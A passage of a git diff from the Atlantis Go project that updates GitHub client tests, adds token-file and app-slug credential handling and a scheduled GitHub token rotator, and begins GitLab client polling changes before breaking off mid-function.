TestGithubClient_Retry404(t *testing.T) { testServerURL, err := url.Parse(testServer.URL) Ok(t, err) - client, err := vcs.NewGithubClient(testServerURL.Host, &vcs.GithubUserCredentials{"user", "pass"}, nil) + client, err := vcs.NewGithubClient(testServerURL.Host, &vcs.GithubUserCredentials{"user", "pass", ""}, vcs.GithubConfig{}, 0, logging.NewNoopLogger(t)) Ok(t, err) defer disableSSLVerification()() repo := models.Repo{ @@ -893,7 +1309,462 @@ func TestGithubClient_Retry404(t *testing.T) { Hostname: "github.com", }, } - _, err = client.GetPullRequest(repo, 1) + _, err = client.GetPullRequest(logger, repo, 1) Ok(t, err) Equals(t, 3, numCalls) } + +// Test that we retry the get pull request files call if it 404s. +func TestGithubClient_Retry404Files(t *testing.T) { + logger := logging.NewNoopLogger(t) + var numCalls = 0 + + testServer := httptest.NewTLSServer( + http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + + switch r.Method + " " + r.RequestURI { + case "GET /api/v3/repos/runatlantis/atlantis/pulls/1/files?per_page=300": + defer r.Body.Close() // nolint: errcheck + numCalls++ + if numCalls < 3 { + w.WriteHeader(404) + } else { + w.WriteHeader(200) + } + return + default: + t.Errorf("got unexpected request at %q", r.RequestURI) + http.Error(w, "not found", http.StatusNotFound) + return + } + })) + + testServerURL, err := url.Parse(testServer.URL) + Ok(t, err) + client, err := vcs.NewGithubClient(testServerURL.Host, &vcs.GithubUserCredentials{"user", "pass", ""}, vcs.GithubConfig{}, 0, logging.NewNoopLogger(t)) + Ok(t, err) + defer disableSSLVerification()() + repo := models.Repo{ + FullName: "runatlantis/atlantis", + Owner: "runatlantis", + Name: "atlantis", + CloneURL: "", + SanitizedCloneURL: "", + VCSHost: models.VCSHost{ + Type: models.Github, + Hostname: "github.com", + }, + } + pr := models.PullRequest{Num: 1} + _, err = client.GetModifiedFiles(logger, repo, pr) + Ok(t, err) + Equals(t, 3, numCalls) +} + +// GetTeamNamesForUser returns a list of team names for a user. +func TestGithubClient_GetTeamNamesForUser(t *testing.T) { + logger := logging.NewNoopLogger(t) + // Mocked GraphQL response for two teams + resp := `{ + "data":{ + "organization": { + "teams":{ + "edges":[ + {"node":{"name": "Frontend Developers", "slug":"frontend-developers"}}, + {"node":{"name": "Employees", "slug":"employees"}} + ], + "pageInfo":{ + "endCursor":"Y3Vyc29yOnYyOpHOAFMoLQ==", + "hasNextPage":false + } + } + } + } + }` + testServer := httptest.NewTLSServer( + http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.RequestURI { + case "/api/graphql": + w.Write([]byte(resp)) // nolint: errcheck + default: + t.Errorf("got unexpected request at %q", r.RequestURI) + http.Error(w, "not found", http.StatusNotFound) + return + } + })) + testServerURL, err := url.Parse(testServer.URL) + Ok(t, err) + client, err := vcs.NewGithubClient(testServerURL.Host, &vcs.GithubUserCredentials{"user", "pass", ""}, vcs.GithubConfig{}, 0, logger) + Ok(t, err) + defer disableSSLVerification()() + + teams, err := client.GetTeamNamesForUser( + logger, + models.Repo{ + Owner: "testrepo", + }, models.User{ + Username: "testuser", + }) + Ok(t, err) + Equals(t, []string{"frontend-developers", "employees"}, teams) +} + +func TestGithubClient_DiscardReviews(t *testing.T) { + logger := logging.NewNoopLogger(t) + type ResponseDef struct { + httpCode int + body string + } + type fields struct { + responses []ResponseDef + } + type args struct { + repo models.Repo + pull models.PullRequest + } + + queryResponseSingleReview := `{ + "data": { + "repository": { + "pullRequest": { + "reviewDecision": "APPROVED", + "reviews": { + "nodes": [ + { + "id": "PRR_kwDOFxULt85HBb7A", + "submittedAt": "2022-11-23T12:28:30Z", + "author": { + "login": "atlantis-test" + } + } + ] + } + } + } + } +}` + queryResponseMultipleReviews := `{ + "data": { + "repository": { + "pullRequest": { + "reviewDecision": "APPROVED", + "reviews": { + "nodes": [ + { + "id": "PRR_kwDOFxULt85HBb7A", + "submittedAt": "2022-11-23T12:28:30Z", + "author": { + "login": "atlantis-test" + } + }, + { + "id": "PRR_kwDOFxULt85HBb7B", + "submittedAt": "2022-11-23T14:28:30Z", + "author": { + "login": "atlantis-test2" + } + } + ] + } + } + } + } +}` + mutationResponseSingleReviewDismissal := `{ + "data": { + "dismissPullRequestReview": { + "pullRequestReview": { + "id": "PRR_kwDOFxULt85HBb7A" + } + } + } +}` + tests := []struct { + name string + fields fields + args args + wantErr bool + }{ + { + name: "return no error if dismissing a single approval", + fields: fields{ + responses: []ResponseDef{ + { + httpCode: 200, + body: queryResponseSingleReview, + }, + { + httpCode: 200, + body: mutationResponseSingleReviewDismissal, + }, + }, + }, + args: args{}, + wantErr: false, + }, + { + name: "return no error if dismissing multiple reviews", + fields: fields{ + responses: []ResponseDef{ + { + httpCode: 200, + body: queryResponseMultipleReviews, + }, + { + httpCode: 200, + body: mutationResponseSingleReviewDismissal, + }, + { + httpCode: 200, + body: mutationResponseSingleReviewDismissal, + }, + }, + }, + args: args{}, + wantErr: false, + }, + { + name: "return error if query fails", + fields: fields{ + responses: []ResponseDef{ + { + httpCode: 500, + body: "", + }, + }, + }, + args: args{}, + wantErr: true, + }, + { + name: "return error if mutating fails", + fields: fields{ + responses: []ResponseDef{ + { + httpCode: 200, + body: queryResponseSingleReview, + }, + { + httpCode: 500, + body: "", + }, + }, + }, + args: args{}, + wantErr: true, + }, + { + name: "return error if dismissing fails after already dismissing one", + fields: fields{ + responses: []ResponseDef{ + { + httpCode: 200, + body: queryResponseMultipleReviews, + }, + { + httpCode: 200, + body: mutationResponseSingleReviewDismissal, + }, + { + httpCode: 500, + body: "", + }, + }, + }, + args: args{}, + wantErr: true, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + // Mocked GraphQL response for two teams + responseIndex := 0 + responseLength := len(tt.fields.responses) + testServer := httptest.NewTLSServer( + http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if r.RequestURI != "/api/graphql" { + t.Errorf("got unexpected request at %q", r.RequestURI) + http.Error(w, "not found", http.StatusNotFound) + return + } + Assert(t, responseIndex < responseLength, "requesting more responses than are defined") + response := tt.fields.responses[responseIndex] + responseIndex++ + w.WriteHeader(response.httpCode) + w.Write([]byte(response.body)) // nolint: errcheck + })) + testServerURL, err := url.Parse(testServer.URL) + Ok(t, err) + client, err := vcs.NewGithubClient(testServerURL.Host, &vcs.GithubUserCredentials{"user", "pass", ""}, vcs.GithubConfig{}, 0, logging.NewNoopLogger(t)) + Ok(t, err) + defer disableSSLVerification()() + if err := client.DiscardReviews(logger, tt.args.repo, tt.args.pull); (err != nil) != tt.wantErr { + t.Errorf("DiscardReviews() error = %v, wantErr %v", err, tt.wantErr) + } + Equals(t, responseLength, responseIndex) // check if all defined requests have been used + }) + } +} + +func TestGithubClient_GetPullLabels(t *testing.T) { + logger := logging.NewNoopLogger(t) + resp := `{ + "url": "https://api.github.com/repos/runatlantis/atlantis/pulls/1", + "id": 167530667, + "merge_commit_sha": "3fe6aa34bc25ac3720e639fcad41b428e83bdb37", + "labels": [ + { + "id": 1303230720, + "node_id": "MDU6TGFiZWwxMzAzMjMwNzIw", + "url": "https://api.github.com/repos/runatlantis/atlantis/labels/docs", + "name": "docs", + "color": "d87165", + "default": false, + "description": "Documentation" + }, + { + "id": 2552271640, + "node_id": "MDU6TGFiZWwyNTUyMjcxNjQw", + "url": "https://api.github.com/repos/runatlantis/atlantis/labels/go", + "name": "go", + "color": "16e2e2", + "default": false, + "description": "Pull requests that update Go code" + }, + { + "id": 2696098981, + "node_id": "MDU6TGFiZWwyNjk2MDk4OTgx", + "url": "https://api.github.com/repos/runatlantis/atlantis/labels/needs%20tests", + "name": "needs tests", + "color": "FBB1DE", + "default": false, + "description": "Change requires tests" + }, + { + "id": 4439792681, + "node_id": "LA_kwDOBy76Zc8AAAABCKHcKQ", + "url": "https://api.github.com/repos/runatlantis/atlantis/labels/work-in-progress", + "name": "work-in-progress", + "color": "B1E20A", + "default": false, + "description": "" + } + ] + }` + testServer := httptest.NewTLSServer( + http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.RequestURI { + case "/api/v3/repos/runatlantis/atlantis/pulls/1": + w.Write([]byte(resp)) // nolint: errcheck + default: + t.Errorf("got unexpected request at %q", r.RequestURI) + http.Error(w, "not found", http.StatusNotFound) + return + } + })) + testServerURL, err := url.Parse(testServer.URL) + Ok(t, err) + client, err := vcs.NewGithubClient(testServerURL.Host, &vcs.GithubUserCredentials{"user", "pass", ""}, vcs.GithubConfig{}, 0, logger) + Ok(t, err) + defer disableSSLVerification()() + + labels, err := client.GetPullLabels( + logger, + models.Repo{ + Owner: "runatlantis", + Name: "atlantis", + }, models.PullRequest{ + Num: 1, + }) + Ok(t, err) + Equals(t, []string{"docs", "go", "needs tests", "work-in-progress"}, labels) +} + +func TestGithubClient_GetPullLabels_EmptyResponse(t *testing.T) { + logger := logging.NewNoopLogger(t) + resp := `{ + "url": "https://api.github.com/repos/runatlantis/atlantis/pulls/1", + "id": 167530667, + "merge_commit_sha": "3fe6aa34bc25ac3720e639fcad41b428e83bdb37", + "labels": [] + }` + testServer := httptest.NewTLSServer( + http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.RequestURI { + case "/api/v3/repos/runatlantis/atlantis/pulls/1": + w.Write([]byte(resp)) // nolint: errcheck + default: + t.Errorf("got unexpected request at %q", r.RequestURI) + http.Error(w, "not found", http.StatusNotFound) + return + } + })) + testServerURL, err := url.Parse(testServer.URL) + Ok(t, err) + client, err := vcs.NewGithubClient(testServerURL.Host, &vcs.GithubUserCredentials{"user", "pass", ""}, vcs.GithubConfig{}, 0, logger) + Ok(t, err) + defer disableSSLVerification()() + + labels, err := client.GetPullLabels( + logger, + models.Repo{ + Owner: "runatlantis", + Name: "atlantis", + }, + models.PullRequest{ + Num: 1, + }) + Ok(t, err) + Equals(t, 0, len(labels)) +} + +func TestGithubClient_SecondaryRateLimitHandling_CreateComment(t *testing.T) { + logger := logging.NewNoopLogger(t) + calls := 0 + maxCalls := 2 + + testServer := httptest.NewTLSServer( + http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost || r.URL.Path != "/api/v3/repos/owner/repo/issues/1/comments" { + t.Errorf("Unexpected request: %s %s", r.Method, r.URL.Path) + w.WriteHeader(http.StatusNotFound) + return + } + + if calls < maxCalls { + // Secondary rate limiting, x-ratelimit-remaining must be > 0 + w.Header().Set("x-ratelimit-remaining", "1") + w.Header().Set("x-ratelimit-reset", fmt.Sprintf("%d", time.Now().Unix()+1)) + w.WriteHeader(http.StatusForbidden) + w.Write([]byte(`{"message": "You have exceeded a secondary rate limit"}`)) // nolint: errcheck + } else { + w.WriteHeader(http.StatusCreated) + w.Write([]byte(`{"id": 1, "body": "Test comment"}`)) // nolint: errcheck + } + calls++ + }), + ) + + testServerURL, err := url.Parse(testServer.URL) + Ok(t, err) + + client, err := vcs.NewGithubClient(testServerURL.Host, &vcs.GithubUserCredentials{User: "user", Token: "pass"}, vcs.GithubConfig{}, 0, logger) + Ok(t, err) + defer disableSSLVerification()() + + // Simulate creating a comment + repo := models.Repo{ + FullName: "owner/repo", + Owner: "owner", + Name: "repo", + } + pullNum := 1 + comment := "Test comment" + + err = client.CreateComment(logger, repo, pullNum, comment, "") + Ok(t, err) + + // Verify that the number of calls is greater than maxCalls, indicating that retries occurred + Assert(t, calls > maxCalls, "Expected more than %d calls due to rate limiting, but got %d", maxCalls, calls) + +} diff --git a/server/events/vcs/github_config.go b/server/events/vcs/github_config.go new file mode 100644 index 0000000000..ceeb3c720c --- /dev/null +++ b/server/events/vcs/github_config.go @@ -0,0 +1,6 @@ +package vcs + +// GithubConfig allows for custom github-specific functionality and behavior +type GithubConfig struct { + AllowMergeableBypassApply bool +} diff --git a/server/events/vcs/github_credentials.go b/server/events/vcs/github_credentials.go index 29db764e00..7d3c31f3d3 100644 --- a/server/events/vcs/github_credentials.go +++ b/server/events/vcs/github_credentials.go @@ -5,20 +5,21 @@ import ( "fmt" "net/http" "net/url" + "os" "strings" - "github.com/bradleyfalzon/ghinstallation" - "github.com/google/go-github/v31/github" + "github.com/bradleyfalzon/ghinstallation/v2" + "github.com/google/go-github/v71/github" "github.com/pkg/errors" ) -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_github_credentials.go GithubCredentials +//go:generate pegomock generate --package mocks -o mocks/mock_github_credentials.go GithubCredentials // GithubCredentials handles creating http.Clients that authenticate. type GithubCredentials interface { Client() (*http.Client, error) GetToken() (string, error) - GetUser() string + GetUser() (string, error) } // GithubAnonymousCredentials expose no credentials. @@ -31,8 +32,8 @@ func (c *GithubAnonymousCredentials) Client() (*http.Client, error) { } // GetUser returns the username for these credentials. -func (c *GithubAnonymousCredentials) GetUser() string { - return "anonymous" +func (c *GithubAnonymousCredentials) GetUser() (string, error) { + return "anonymous", nil } // GetToken returns an empty token. @@ -42,37 +43,75 @@ func (c *GithubAnonymousCredentials) GetToken() (string, error) { // GithubUserCredentials implements GithubCredentials for the personal auth token flow. type GithubUserCredentials struct { - User string - Token string + User string + Token string + TokenFile string +} + +type GitHubUserTransport struct { + Credentials *GithubUserCredentials + Transport *github.BasicAuthTransport +} + +func (t *GitHubUserTransport) RoundTrip(req *http.Request) (*http.Response, error) { + // update token + token, err := t.Credentials.GetToken() + if err != nil { + return nil, err + } + t.Transport.Password = token + + // defer to the underlying transport + return t.Transport.RoundTrip(req) } // Client returns a client for basic auth user credentials. func (c *GithubUserCredentials) Client() (*http.Client, error) { - tr := &github.BasicAuthTransport{ - Username: strings.TrimSpace(c.User), - Password: strings.TrimSpace(c.Token), + password, err := c.GetToken() + if err != nil { + return nil, err } - return tr.Client(), nil + + client := &http.Client{ + Transport: &GitHubUserTransport{ + Credentials: c, + Transport: &github.BasicAuthTransport{ + Username: strings.TrimSpace(c.User), + Password: strings.TrimSpace(password), + }, + }, + } + return client, nil } // GetUser returns the username for these credentials. -func (c *GithubUserCredentials) GetUser() string { - return c.User +func (c *GithubUserCredentials) GetUser() (string, error) { + return c.User, nil } // GetToken returns the user token. func (c *GithubUserCredentials) GetToken() (string, error) { + if c.TokenFile != "" { + content, err := os.ReadFile(c.TokenFile) + if err != nil { + return "", fmt.Errorf("failed reading github token file: %w", err) + } + + return string(content), nil + } + return c.Token, nil } // GithubAppCredentials implements GithubCredentials for github app installation token flow. type GithubAppCredentials struct { AppID int64 - KeyPath string + Key []byte Hostname string apiURL *url.URL - installationID int64 + InstallationID int64 tr *ghinstallation.Transport + AppSlug string } // Client returns a github app installation client. @@ -85,8 +124,29 @@ func (c *GithubAppCredentials) Client() (*http.Client, error) { } // GetUser returns the username for these credentials. -func (c *GithubAppCredentials) GetUser() string { - return "" +func (c *GithubAppCredentials) GetUser() (string, error) { + // Keeping backwards compatibility since this flag is optional + if c.AppSlug == "" { + return "", nil + } + client, err := c.Client() + + if err != nil { + return "", errors.Wrap(err, "initializing client") + } + + ghClient := github.NewClient(client) + ghClient.BaseURL = c.getAPIURL() + ctx := context.Background() + + app, _, err := ghClient.Apps.Get(ctx, c.AppSlug) + + if err != nil { + return "", errors.Wrap(err, "getting app details") + } + // Currently there is no way to get the bot's login info, so this is a + // hack until Github exposes that. + return fmt.Sprintf("%s[bot]", app.GetSlug()), nil } // GetToken returns a fresh installation token. @@ -100,13 +160,13 @@ func (c *GithubAppCredentials) GetToken() (string, error) { } func (c *GithubAppCredentials) getInstallationID() (int64, error) { - if c.installationID != 0 { - return c.installationID, nil + if c.InstallationID != 0 { + return c.InstallationID, nil } tr := http.DefaultTransport // A non-installation transport - t, err := ghinstallation.NewAppsTransportKeyFromFile(tr, c.AppID, c.KeyPath) + t, err := ghinstallation.NewAppsTransport(tr, c.AppID, c.Key) if err != nil { return 0, err } @@ -126,8 +186,8 @@ func (c *GithubAppCredentials) getInstallationID() (int64, error) { return 0, fmt.Errorf("wrong number of installations, expected 1, found %d", len(installations)) } - c.installationID = installations[0].GetID() - return c.installationID, nil + c.InstallationID = installations[0].GetID() + return c.InstallationID, nil } func (c *GithubAppCredentials) transport() (*ghinstallation.Transport, error) { @@ -141,7 +201,7 @@ func (c *GithubAppCredentials) transport() (*ghinstallation.Transport, error) { } tr := http.DefaultTransport - itr, err := ghinstallation.NewKeyFromFile(tr, c.AppID, installationID, c.KeyPath) + itr, err := ghinstallation.New(tr, c.AppID, installationID, c.Key) if err == nil { apiURL := c.getAPIURL() itr.BaseURL = strings.TrimSuffix(apiURL.String(), "/") diff --git a/server/events/vcs/github_credentials_test.go b/server/events/vcs/github_credentials_test.go index 3be20f3b2f..e1a0f67e8c 100644 --- a/server/events/vcs/github_credentials_test.go +++ b/server/events/vcs/github_credentials_test.go @@ -1,37 +1,57 @@ package vcs_test import ( - "fmt" "testing" "github.com/runatlantis/atlantis/server/events/vcs" - "github.com/runatlantis/atlantis/server/events/vcs/fixtures" + "github.com/runatlantis/atlantis/server/events/vcs/testdata" + "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) -func TestGithubClient_AppAuthentication(t *testing.T) { +func TestGithubClient_GetUser_AppSlug(t *testing.T) { + logger := logging.NewNoopLogger(t) defer disableSSLVerification()() - testServer, err := fixtures.GithubAppTestServer(t) + testServer, err := testdata.GithubAppTestServer(t) Ok(t, err) anonCreds := &vcs.GithubAnonymousCredentials{} - anonClient, err := vcs.NewGithubClient(testServer, anonCreds, nil) + anonClient, err := vcs.NewGithubClient(testServer, anonCreds, vcs.GithubConfig{}, 0, logging.NewNoopLogger(t)) + Ok(t, err) + tempSecrets, err := anonClient.ExchangeCode(logger, "good-code") Ok(t, err) - tempSecrets, err := anonClient.ExchangeCode("good-code") + + appCreds := &vcs.GithubAppCredentials{ + AppID: tempSecrets.ID, + Key: []byte(testdata.GithubPrivateKey), + Hostname: testServer, + AppSlug: "some-app", + } + + user, err := appCreds.GetUser() Ok(t, err) - tmpDir, cleanup := DirStructure(t, map[string]interface{}{ - "key.pem": tempSecrets.Key, - }) - defer cleanup() - keyPath := fmt.Sprintf("%v/key.pem", tmpDir) + Assert(t, user == "octoapp[bot]", "user should not be empty") +} + +func TestGithubClient_AppAuthentication(t *testing.T) { + logger := logging.NewNoopLogger(t) + defer disableSSLVerification()() + testServer, err := testdata.GithubAppTestServer(t) + Ok(t, err) + + anonCreds := &vcs.GithubAnonymousCredentials{} + anonClient, err := vcs.NewGithubClient(testServer, anonCreds, vcs.GithubConfig{}, 0, logging.NewNoopLogger(t)) + Ok(t, err) + tempSecrets, err := anonClient.ExchangeCode(logger, "good-code") + Ok(t, err) appCreds := &vcs.GithubAppCredentials{ AppID: tempSecrets.ID, - KeyPath: keyPath, + Key: []byte(testdata.GithubPrivateKey), Hostname: testServer, } - _, err = vcs.NewGithubClient(testServer, appCreds, nil) + _, err = vcs.NewGithubClient(testServer, appCreds, vcs.GithubConfig{}, 0, logging.NewNoopLogger(t)) Ok(t, err) token, err := appCreds.GetToken() @@ -40,6 +60,48 @@ func TestGithubClient_AppAuthentication(t *testing.T) { newToken, err := appCreds.GetToken() Ok(t, err) + user, err := appCreds.GetUser() + Ok(t, err) + + Assert(t, user == "", "user should be empty") + + if token != newToken { + t.Errorf("app token was not cached: %q != %q", token, newToken) + } +} + +func TestGithubClient_MultipleAppAuthentication(t *testing.T) { + logger := logging.NewNoopLogger(t) + defer disableSSLVerification()() + testServer, err := testdata.GithubMultipleAppTestServer(t) + Ok(t, err) + + anonCreds := &vcs.GithubAnonymousCredentials{} + anonClient, err := vcs.NewGithubClient(testServer, anonCreds, vcs.GithubConfig{}, 0, logging.NewNoopLogger(t)) + Ok(t, err) + tempSecrets, err := anonClient.ExchangeCode(logger, "good-code") + Ok(t, err) + + appCreds := &vcs.GithubAppCredentials{ + AppID: tempSecrets.ID, + InstallationID: 1, + Key: []byte(testdata.GithubPrivateKey), + Hostname: testServer, + } + _, err = vcs.NewGithubClient(testServer, appCreds, vcs.GithubConfig{}, 0, logging.NewNoopLogger(t)) + Ok(t, err) + + token, err := appCreds.GetToken() + Ok(t, err) + + newToken, err := appCreds.GetToken() + Ok(t, err) + + user, err := appCreds.GetUser() + Ok(t, err) + + Assert(t, user == "", "user should be empty") + if token != newToken { t.Errorf("app token was not cached: %q != %q", token, newToken) } diff --git a/server/events/vcs/github_token_rotator.go b/server/events/vcs/github_token_rotator.go new file mode 100644 index 0000000000..2b184bd6b8 --- /dev/null +++ b/server/events/vcs/github_token_rotator.go @@ -0,0 +1,74 @@ +package vcs + +import ( + "time" + + "github.com/pkg/errors" + "github.com/runatlantis/atlantis/server/logging" + "github.com/runatlantis/atlantis/server/scheduled" +) + +// GithubTokenRotator continuously tries to rotate the github app access token every 30 seconds and writes the ~/.git-credentials file +type GithubTokenRotator interface { + Run() + GenerateJob() (scheduled.JobDefinition, error) +} + +type githubTokenRotator struct { + log logging.SimpleLogging + githubCredentials GithubCredentials + githubHostname string + gitUser string + homeDirPath string +} + +func NewGithubTokenRotator( + log logging.SimpleLogging, + githubCredentials GithubCredentials, + githubHostname string, + gitUser string, + homeDirPath string) GithubTokenRotator { + + return &githubTokenRotator{ + log: log, + githubCredentials: githubCredentials, + githubHostname: githubHostname, + gitUser: gitUser, + homeDirPath: homeDirPath, + } +} + +// make sure interface is implemented correctly +var _ GithubTokenRotator = (*githubTokenRotator)(nil) + +func (r *githubTokenRotator) GenerateJob() (scheduled.JobDefinition, error) { + + return scheduled.JobDefinition{ + Job: r, + Period: 30 * time.Second, + }, r.rotate() +} + +func (r *githubTokenRotator) Run() { + err := r.rotate() + if err != nil { + // at least log the error message here, as we want to notify the that user that the key rotation wasn't successful + r.log.Err(err.Error()) + } +} + +func (r *githubTokenRotator) rotate() error { + r.log.Debug("Refreshing Github tokens for .git-credentials") + + token, err := r.githubCredentials.GetToken() + if err != nil { + return errors.Wrap(err, "Getting github token") + } + r.log.Debug("Token successfully refreshed") + + // https://developer.github.com/apps/building-github-apps/authenticating-with-github-apps/#http-based-git-access-by-an-installation + if err := WriteGitCreds(r.gitUser, token, r.githubHostname, r.homeDirPath, r.log, true); err != nil { + return errors.Wrap(err, "Writing ~/.git-credentials file") + } + return nil +} diff --git a/server/events/vcs/github_token_rotator_test.go b/server/events/vcs/github_token_rotator_test.go new file mode 100644 index 0000000000..19e30b95f1 --- /dev/null +++ b/server/events/vcs/github_token_rotator_test.go @@ -0,0 +1,86 @@ +package vcs_test + +import ( + "fmt" + "os" + "path/filepath" + "testing" + "time" + + "github.com/runatlantis/atlantis/server/events/vcs" + "github.com/runatlantis/atlantis/server/events/vcs/testdata" + "github.com/runatlantis/atlantis/server/logging" + . "github.com/runatlantis/atlantis/testing" +) + +func Test_githubTokenRotator_GenerateJob(t *testing.T) { + logger := logging.NewNoopLogger(t) + defer disableSSLVerification()() + testServer, err := testdata.GithubAppTestServer(t) + Ok(t, err) + + anonCreds := &vcs.GithubAnonymousCredentials{} + anonClient, err := vcs.NewGithubClient(testServer, anonCreds, vcs.GithubConfig{}, 0, logging.NewNoopLogger(t)) + Ok(t, err) + tempSecrets, err := anonClient.ExchangeCode(logger, "good-code") + Ok(t, err) + type fields struct { + githubCredentials vcs.GithubCredentials + } + tests := []struct { + name string + fields fields + credsFileWritten bool + wantErr bool + }{ + { + name: "Should write .git-credentials file on start", + fields: fields{&vcs.GithubAppCredentials{ + AppID: tempSecrets.ID, + Key: []byte(testdata.GithubPrivateKey), + Hostname: testServer, + }}, + credsFileWritten: true, + wantErr: false, + }, + { + name: "Should return an error if pem data is missing or wrong", + fields: fields{&vcs.GithubAppCredentials{ + AppID: tempSecrets.ID, + Key: []byte("some bad formatted pem key"), + Hostname: testServer, + }}, + credsFileWritten: false, + wantErr: true, + }, + { + name: "Should return an error if app id is missing or wrong", + fields: fields{&vcs.GithubAppCredentials{ + AppID: 3819, + Key: []byte(testdata.GithubPrivateKey), + Hostname: testServer, + }}, + credsFileWritten: false, + wantErr: true, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + tmpDir := t.TempDir() + t.Setenv("HOME", tmpDir) + r := vcs.NewGithubTokenRotator(logging.NewNoopLogger(t), tt.fields.githubCredentials, testServer, "x-access-token", tmpDir) + got, err := r.GenerateJob() + if (err != nil) != tt.wantErr { + t.Errorf("githubTokenRotator.GenerateJob() error = %v, wantErr %v", err, tt.wantErr) + return + } + if tt.credsFileWritten { + credsFileContent := fmt.Sprintf(`https://x-access-token:some-token@%s`, testServer) + actContents, err := os.ReadFile(filepath.Join(tmpDir, ".git-credentials")) + Ok(t, err) + Equals(t, credsFileContent, string(actContents)) + } + Equals(t, 30*time.Second, got.Period) + }) + } +} diff --git a/server/events/vcs/gitlab_client.go b/server/events/vcs/gitlab_client.go index b991eaba30..30ac4de89c 100644 --- a/server/events/vcs/gitlab_client.go +++ b/server/events/vcs/gitlab_client.go @@ -14,28 +14,39 @@ package vcs import ( + "context" "fmt" "net" "net/http" "net/url" "strings" + "time" - "github.com/runatlantis/atlantis/server/events/yaml" - - "github.com/runatlantis/atlantis/server/events/vcs/common" - - version "github.com/hashicorp/go-version" + "github.com/hashicorp/go-version" + "github.com/jpillora/backoff" "github.com/pkg/errors" - "github.com/runatlantis/atlantis/server/logging" - + "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" - gitlab "github.com/xanzy/go-gitlab" + "github.com/runatlantis/atlantis/server/events/vcs/common" + "github.com/runatlantis/atlantis/server/logging" + gitlab "gitlab.com/gitlab-org/api/client-go" ) +// gitlabMaxCommentLength is the maximum number of chars allowed by Gitlab in a +// single comment, reduced by 100 to allow comments to be hidden with a summary header +// and footer. +const gitlabMaxCommentLength = 1000000 - 100 + type GitlabClient struct { Client *gitlab.Client // Version is set to the server version. Version *version.Version + // All GitLab groups configured in allowlists and policies + ConfiguredGroups []string + // PollingInterval is the time between successive polls, where applicable. + PollingInterval time.Duration + // PollingInterval is the total duration for which to poll, where applicable. + PollingTimeout time.Duration } // commonMarkSupported is a version constraint that is true when this version of @@ -47,8 +58,13 @@ var commonMarkSupported = MustConstraint(">=11.1") var gitlabClientUnderTest = false // NewGitlabClient returns a valid GitLab client. -func NewGitlabClient(hostname string, token string, logger *logging.SimpleLogger) (*GitlabClient, error) { - client := &GitlabClient{} +func NewGitlabClient(hostname string, token string, configuredGroups []string, logger logging.SimpleLogging) (*GitlabClient, error) { + logger.Debug("Creating new GitLab client for %s", hostname) + client := &GitlabClient{ + ConfiguredGroups: configuredGroups, + PollingInterval: time.Second, + PollingTimeout: time.Second * 30, + } // Create the client differently depending on the base URL. if hostname == "gitlab.com" { @@ -91,11 +107,11 @@ func NewGitlabClient(hostname string, token string, logger *logging.SimpleLogger // Determine which version of GitLab is running. if !gitlabClientUnderTest { var err error - client.Version, err = client.GetVersion() + client.Version, err = client.GetVersion(logger) if err != nil { return nil, err } - logger.Info("determined GitLab is running version %s", client.Version.String()) + logger.Info("GitLab host '%s' is running version %s", client.Client.BaseURL().Host, client.Version.String()) } return client, nil @@ -103,7 +119,8 @@ func NewGitlabClient(hostname string, token string, logger *logging.SimpleLogger // GetModifiedFiles returns the names of files that were modified in the merge request // relative to the repo root, e.g. parent/child/file.txt. -func (g *GitlabClient) GetModifiedFiles(repo models.Repo, pull models.PullRequest) ([]string, error) { +func (g *GitlabClient) GetModifiedFiles(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) { + logger.Debug("Getting modified files for GitLab merge request %d", pull.Num) const maxPerPage = 100 var files []string nextPage := 1 @@ -118,10 +135,24 @@ func (g *GitlabClient) GetModifiedFiles(repo models.Repo, pull models.PullReques if err != nil { return nil, err } + resp := new(gitlab.Response) mr := new(gitlab.MergeRequest) - resp, err := g.Client.Do(req, mr) - if err != nil { - return nil, err + pollingStart := time.Now() + for { + resp, err = g.Client.Do(req, mr) + if resp != nil { + logger.Debug("GET %s returned: %d", apiURL, resp.StatusCode) + } + if err != nil { + return nil, err + } + if mr.ChangesCount != "" { + break + } + if time.Since(pollingStart) > g.PollingTimeout { + return nil, errors.Errorf("giving up polling %q after %s", apiURL, g.PollingTimeout.String()) + } + time.Sleep(g.PollingInterval) } for _, f := range mr.Changes { @@ -143,86 +174,402 @@ func (g *GitlabClient) GetModifiedFiles(repo models.Repo, pull models.PullReques } // CreateComment creates a comment on the merge request. -func (g *GitlabClient) CreateComment(repo models.Repo, pullNum int, comment string, command string) error { - _, _, err := g.Client.Notes.CreateMergeRequestNote(repo.FullName, pullNum, &gitlab.CreateMergeRequestNoteOptions{Body: gitlab.String(comment)}) +func (g *GitlabClient) CreateComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, comment string, _ string) error { + logger.Debug("Creating comment on GitLab merge request %d", pullNum) + sepEnd := "\n```\n
" + + "\n
\n\n**Warning**: Output length greater than max comment size. Continued in next comment." + sepStart := "Continued from previous comment.\n
